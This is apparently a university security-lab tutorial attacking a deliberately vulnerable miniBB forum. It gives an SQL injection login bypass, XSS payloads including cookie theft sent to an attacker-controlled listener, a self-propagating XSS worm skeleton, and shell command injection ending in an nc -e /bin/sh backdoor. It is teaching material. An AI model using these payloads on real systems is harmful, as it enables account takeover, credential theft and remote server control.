´╗┐Web Attacks Tutorial

Getting started with the forum

In order to access the forum you will be exploiting, you will need to enable port-forwarding to the correct website. In order to do this, bring up a terminal and type (with your username substituted):

ssh -L 9000:netsec-demos:2000 username@hamsa.cs.northwestern.edu

From now on, you can use http://localhost:9000 to access http://netsec-demos.cs.northwestern.edu:2000, which is the website where this forum is hosted.

SQL Injection

SQL Injection, where malicious SQL statements are run on a database, can allow a malicious user to attack the server itself. In this case, miniBB has been modified to not sanitize the Username or Password fields, and can be easily manipulated into allowing administrator login.

The following SQL statement is run in order to authenticate a user:

select username, user_password from minibbtable_users where user_password = md5('inputpassword') and username='inputusername' limit 1;

This selects the username and password from the accounts table on the message board where both the username and the password in the database match the username and md5 hash of the password from the user. Limit 1 means that only 1 result at most will be returned, and the rest, if they exist, will be discarded.

Normally, characters such as quotes are stripped out of user input, but in many vulnerable servers, this is not done. So, we can arbitrarily change the above SQL statement to whatever we would like, because this server does not stop us.

Adding anything to the password is useless, because the password is md5 hashed, so that only the hashed password is stored on the database for security reasons. Theoretically, md5 hashing cannot be reversed, so the actual password is not retrievable. What this means for us is that any SQL characters we try to inject into the password will be corrupted.

However, we can alter the username field such that all results for the above statement returns true.

For a normal login, the SQL looks something like:

select username, user_password from minibbtable_users where user_password = md5('johnspassword') and username='johndoe' limit 1;

But, we can set username to ' or '1'='1 so that the result is:

select username, user_password from minibbtable_users where user_password = md5('anyrandompassword') and username='' or '1'='1' limit 1;

The bold characters are what we have injected. Then, the where statement, instead of picking only rows that have both the username and the password matching the input, instead picks any row where the username is blank and the password matches or any row where true. This means that, since limit 1 is there, the first row will be returned.

This happens, on miniBB, to always be the administrator, and so, if we enter the above string for our username and any password, we will be logged as administrator.

What can be done with this attack varies based on the usage of the SQL statement. Some search pages, for example, have vulnerabilities that allow any data in the database to be returned by using the union statement. It all depends on how the results of the query are used. In this case, the first returned result is used for authentication, and so we can get privilege escalation.

Cross-Site Scripting

Introduction

Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into a victim's web browser. Using this malicious code, the attackers can steal the victim's credentials, such as cookies. The access control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale attacks.

To demonstrate what attackers can do by exploiting XSS vulnerabilities, we will use the vulnerable forum you have just gained admin access to. We modified the software to introduce an XSS vulnerability in this message board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript programs. Students need to exploit this vulnerability by posting some malicious messages to the message board; users who view these malicious messages will become victims. The attackers' goal is to post forged messages for the victims.

To help you keep a clean working environment, enter the Admin panel, and add a new forum for your personal use. Then enter this forum, and perform all of your XSS attacks within it.

Task 1: Posting a Malicious Message to Display an Alert Window

The objective of this task is to post a malicious message that contains JavaScript to display an alert window. The JavaScript should be provided along with the user comments in the message. The following JavaScript will display an alert window:

<script>alert("XSS");</script>

If you post this JavaScript along with your comments in the message board, then any user who views this comment will see the alert window.

Task 2: Posting a Malicious Mesage to Display Cookies

The objective of this task is to post a malicious message on the message board containing a JavaScript code, such that whenever a user views this message, the user's cookies will be printed out. For instance, consider the following message that contains a JavaScript code:

 <script>alert(document.cookie);</script>     
 Hello Everybody, 
 Welcome to this message board.

When a user views this message post, he/she will see a pop-up message box that displays the cookies of the user.

Task 3: Stealing Cookies from the Victim's Machine

In the previous task, the malicious JavaScript code can print out the user's cookies; in this task, the attacker wants the JavaScript code to send the cookies to the himself/herself. To achieve this, the malicious JavaScript code can send send a HTTP request to the attacker, with the cookies appended to the request.

We can do this by having the malicious JavaScript insert a <img> tag with src set to the URL of the attackers destination. When the JavaScript inserts the img tag, the browser tries to load the image from the mentioned URL and in the process ends up sending a HTTP GET request to the attacker's website. The JavaScript given below sends the cookies to the mentioned port 5555 on the attacker's machine.

Hello Folks, 
<script>document.write("<img src=http://hamsa.cs.northwestern.edu:5555?c=" 
                          + escape(document.cookie) + ">");  </script>
This script is to test XSS.  Thanks.

You will need to set up a TCP Server to print out what is sent to this port. In order to do this, create a file on hamsa called server.rb that contains the following code:

require 'socket'
require 'thread'

server = TCPServer.open(5555)

begin
    Thread.start(server.accept) do |client|
        response = client.recv(100)
        puts response
        client.close
    end
end while(true)

Please note that you will have to change the port you are using (here 5555) in both the javascript and the server code so that you do not conflict with other students attempting to finish this lab.

You can now type ruby server.rb in order to run this server. Once this server is running, try out the javascript above. When you refresh the page, it will send the cookie to the IP address and port number that you specified, and the server will print it out.

Task 4: Writing an XSS Worm

In this task, we will steal cookies from a victim, and then forge an HTTP request using those cookies directly from the victim's browser. In order to accomplish this task, the worm program must do the following:

*Retrieve the cookie from the user using Javascript.
*Forge an HTTP post request to post a message.

There are two common types of HTTP requests, one is HTTP GET, and the other is HTTP POST. These two types of HTTP requests differ in how they send the contents of the request to the server. In phpBB, the request for posting a message uses HTTP POST. We can use the XMLHttpRequest object to send HTTP GET and POST requests from web applications. XMLHttpRequest can only send HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly enforced for XMLHttpRequest. This is not an issue for us, because we only want to use XMLHttpRequest to send a forged HTTP POST request back to the phpBB server.

To forge a forum post, we should first analyze how phpBB works in terms of posting messages. More specifically, our goal is to figure out what is sent to the server when a user posts a new message. Firefox's developer tools can help us; the web console can display the contents of any HTTP message sent or received by the browser. From the contents, we can identify all the the parameters of request and response messages. Firefox developer tools (as well as equivalents on other browsers) are available through Tools -> Developer Tools. Go ahead and open up the web console, then post a new topic inside your forum, and see the requests. Find the HTTP Post request and look it over. Specifically, look for the content of the request, which contains the post title and message text. You may need to right-click to enable logging of request and response bodies in the console.

With this knowledge, it is time to compose Javascript code which will forge an HTTP post request, posting a new message from each user who clicks on your malicious post.

We provide a skeleton of the JavaScript code that you need to write. You need to fill in the content of the AJAX request. When you include the final JavaScript code in the message posted to the phpBB message board, you need to remove all the comments and extra newlines.

<script>
var Ajax=null;

// Construct the header information for the Http request
Ajax=new XMLHttpRequest();
Ajax.open("POST","?????",true);
Ajax.setRequestHeader("Host","?????");
Ajax.setRequestHeader("Keep-Alive","300");
Ajax.setRequestHeader("Connection","keep-alive");
Ajax.setRequestHeader("Cookie",document.cookie);
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

// Construct the content. The format of the content can be learned 
//   from LiveHttpHeader.
var content="?????"; 

// Send the HTTP POST request.
Ajax.send(content);
</script>

Task 5: Writing a Self-Propagating XSS Worm

The worm built in the previous task only forges a message on behalf of the victims; it does not propagate itself. Therefore, technically speaking, it is not a worm. To be able to propagate itself, the forged message should also include a worm, so whenever somebody clicks on the forged message, a new forged message that carry the same worm will be created. This way, the worm can be propagated. The more people click on the forged messages, the faster the worm can propagate.

In this task, you need to expand what you did in Task 5, and add a copy of the worm to the body of the forged message. The following guidelines will help you with the task:

  1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:

    <script id=worm>
        var strCode = document.getElementById("worm");
        alert(strCode.innerHTML);
    </script>
    
  2. All messages transmitted using HTTP over the Internet use URL Encoding, which converts all non-ASCII characters such as space to special code under the URL encoding scheme. In the worm code, the copy of your worm should be encoded using the escape function. An example of using the function is given below.

    <script>
        var strSample = "Hello World";
        var urlEncSample = escape(strSample);
        alert(urlEncSample);
    </script>
    
  3. Under the URL encoding scheme the '+' symbol is used to denote space. In order to avoid confusion and difficulties, you should use the Javascript string concat function in order to concatonate strings within the content of your POST.

  4. When attempting to pass the string </script>, you will notice that your Javascript no longer works as you intended. This is because when your browser sees the </script> tag, it closes out of the <script> block you are placing your entire malicious method in. For this reason, the string </script> must be split up into two parts, such as </ and script>.

Once you have written a self-propagating worm, show it to one of the TAs to receive credit for this portion of the lab.

Shell Attacks

While XSS allows us to steal credentials, and SQL injection allowed us to login as Administrator or perform other database queries, Shell attacks allow actual machine control.

A Shell attack is very simple and yet very dangerous for the victim. In essence, it is injecting commands into scripts that use Linux utilities. Back when Perl CGI scripts were common, they might do things like use cat /etc/passwd or finger to search for users on the system, for example. Or, such as in this case, they may execute echo to write to a log file.

MiniBB has been modified to write all search data to a logfile by executing the following command:

system("echo $user_usr " . $phrase . " >>/tmp/searchlogs");

$user_usr is the username associated with the query. $phrase is the search phrase entered. This simply appends a user's name and search phrase to /tmp/searchlogs, effectively creating a log of who performed which search.

However, $phrase is not sanitized. Thus, we can execute arbitrary commands on the system very easily.

While logged in to MiniBB, click Search

In the Search For box, type >/dev/null; id; echo randomdata

This will cause the following to be run on the system:

echo yourusername `>/dev/null; id; echo randomdata` >>/tmp/searchlogs

This results in running id on the system and returning it to you. If /dev/null is not added, you will also see the output of echo yourusername, which isn't a big deal, but is irritating. The semicolons are Linux command separators. Finally, echoing randomdata to the search logs (or simplying having id; so that nothing is written to the searchlogs) is a good idea otherwise the administrator will have a log of all commands run.

You can try this command, and you will see that your id is www-data, the webserver user. Replacing id with other commands can be used to perform any operation on the system, including establishing a remote shell.

Try getting a remote shell as an exercise. Note, netsec-demos has an old version of nc so you can set up a backdoor with this command: nc -l -p PORT -e /bin/sh